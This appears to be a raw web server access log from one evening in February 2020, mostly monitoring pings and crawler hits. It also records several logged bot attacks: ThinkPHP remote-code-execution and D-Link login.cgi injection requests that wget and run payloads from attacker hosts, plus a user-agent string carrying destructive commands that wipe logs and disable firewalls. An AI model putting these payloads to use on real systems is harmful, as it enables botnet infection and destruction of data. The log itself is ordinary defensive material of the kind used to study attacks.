212.91.246.72 - - [25/Feb/2020:20:18:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
79.78.46.116 - - [25/Feb/2020:20:19:13 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [25/Feb/2020:20:19:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:20:20:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.137.195.120 - - [25/Feb/2020:20:21:35 +0100] "GET /shell?busybox HTTP/1.1" 400 329 "-" "Mozilla/5.0"
212.91.246.72 - - [25/Feb/2020:20:21:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:20:22:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:20:23:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:20:24:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:20:25:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:20:26:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:20:27:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:20:28:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:20:29:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.107.81.114 - - [25/Feb/2020:20:30:02 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
190.94.139.31 - - [25/Feb/2020:20:30:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [25/Feb/2020:20:30:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:20:31:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:20:32:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:20:33:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:20:34:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
119.197.27.4 - - [25/Feb/2020:20:35:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
85.104.115.236 - - [25/Feb/2020:20:35:22 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [25/Feb/2020:20:35:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:20:36:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:20:37:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:20:38:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
177.134.212.203 - - [25/Feb/2020:20:39:38 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [25/Feb/2020:20:39:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:20:40:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:20:41:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:20:42:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
125.128.241.71 - - [25/Feb/2020:20:43:12 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
125.128.241.71 - - [25/Feb/2020:20:43:15 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
125.128.241.71 - - [25/Feb/2020:20:43:21 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
125.128.241.71 - - [25/Feb/2020:20:43:33 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [25/Feb/2020:20:43:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
125.128.241.71 - - [25/Feb/2020:20:43:57 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [25/Feb/2020:20:44:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
134.35.208.254 - - [25/Feb/2020:20:44:47 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
85.204.216.64 - - [25/Feb/2020:20:45:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [25/Feb/2020:20:45:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:20:46:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:20:47:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
71.127.248.210 - - [25/Feb/2020:20:48:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [25/Feb/2020:20:48:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
181.143.52.189 - - [25/Feb/2020:20:49:12 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [25/Feb/2020:20:49:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:20:50:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
187.189.43.219 - - [25/Feb/2020:20:51:03 +0100] "GET ../../mnt/custom/ProductDefinition HTTP" 400 329 "-" "-"
88.247.27.183 - - [25/Feb/2020:20:51:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
88.247.27.183 - - [25/Feb/2020:20:51:30 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [25/Feb/2020:20:51:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:20:52:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:20:53:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:20:54:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:20:55:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:20:56:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:20:57:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:20:58:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:20:59:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:21:00:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:21:01:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:21:02:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:21:03:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:21:04:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:21:05:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:21:06:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:21:07:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:21:08:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:21:09:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:21:10:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:21:11:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:21:12:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:21:13:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
110.137.83.218 - - [25/Feb/2020:21:13:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
176.107.249.142 - - [25/Feb/2020:21:14:39 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [25/Feb/2020:21:14:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
201.158.46.187 - - [25/Feb/2020:21:15:12 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [25/Feb/2020:21:15:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:21:16:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:21:17:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.23.86.73 - - [25/Feb/2020:21:18:24 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [25/Feb/2020:21:18:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:21:19:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.106.130.87 - - [25/Feb/2020:21:19:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
66.249.64.39 - - [25/Feb/2020:21:20:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
212.91.246.72 - - [25/Feb/2020:21:20:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:21:21:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:21:22:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:21:23:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:21:24:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.149.40.87 - - [25/Feb/2020:21:25:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [25/Feb/2020:21:25:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:21:26:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:21:27:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
187.102.51.248 - - [25/Feb/2020:21:28:05 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [25/Feb/2020:21:28:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.187.231.151 - - [25/Feb/2020:21:29:12 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [25/Feb/2020:21:29:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.249.64.88 - - [25/Feb/2020:21:30:31 +0100] "GET /robots.txt HTTP/1.1" 404 321 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.64.88 - - [25/Feb/2020:21:30:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
212.91.246.72 - - [25/Feb/2020:21:30:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:21:31:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:21:32:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
125.47.46.85 - - [25/Feb/2020:21:32:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [25/Feb/2020:21:33:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:21:34:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:21:35:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:21:36:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:21:37:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [25/Feb/2020:21:37:56 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [25/Feb/2020:21:38:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:21:39:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:21:40:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.74.66.146 - - [25/Feb/2020:21:40:48 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [25/Feb/2020:21:41:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:21:42:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:21:43:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:21:44:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [25/Feb/2020:21:44:57 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
222.186.19.221 - - [25/Feb/2020:21:45:05 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [25/Feb/2020:21:45:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:21:46:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:21:47:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [25/Feb/2020:21:47:48 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [25/Feb/2020:21:48:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:21:49:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.248.137.98 - - [25/Feb/2020:21:50:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [25/Feb/2020:21:50:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:21:51:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
37.75.80.147 - - [25/Feb/2020:21:51:54 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [25/Feb/2020:21:52:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [25/Feb/2020:21:52:57 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
222.186.19.221 - - [25/Feb/2020:21:53:03 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [25/Feb/2020:21:53:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:21:54:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
221.0.17.207 - - [25/Feb/2020:21:54:56 +0100] "HEAD http://123.125.114.144/ HTTP/1.1" 200 - "-" "Mozilla/5.01712517 Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
222.186.19.221 - - [25/Feb/2020:21:55:02 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [25/Feb/2020:21:55:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:21:56:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [25/Feb/2020:21:56:57 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
37.235.22.62 - - [25/Feb/2020:21:56:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [25/Feb/2020:21:57:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:21:58:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:21:59:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:22:00:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.113.48.32 - - [25/Feb/2020:22:01:17 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
222.186.19.221 - - [25/Feb/2020:22:01:32 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [25/Feb/2020:22:01:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.104.71.20 - - [25/Feb/2020:22:02:38 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
